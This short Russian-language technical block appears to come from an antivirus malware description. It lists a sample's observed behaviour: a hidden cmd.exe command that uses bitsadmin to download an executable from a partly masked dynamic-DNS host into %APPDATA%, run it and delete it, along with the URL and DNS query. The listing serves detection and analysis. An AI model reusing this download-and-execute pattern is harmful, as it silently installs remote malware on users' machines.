Техническая информация
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer 62b3 http://li####r.linkpc.net/avv.exe %APPDATA%\62b3.exe&%APPDATA%\62b3.exe&del %APPDATA%\62b3.exe
- http://li####r.linkpc.net/avv.exe
- DNS ASK li####r.linkpc.net
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer 62b3 http://li####r.linkpc.net/avv.exe %APPDATA%\62b3.exe&%APPDATA%\62b3.exe&del %APPDATA%\62b3.exe' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 62b3 http://li####r.linkpc.net/avv.exe %APPDATA%\62b3.exe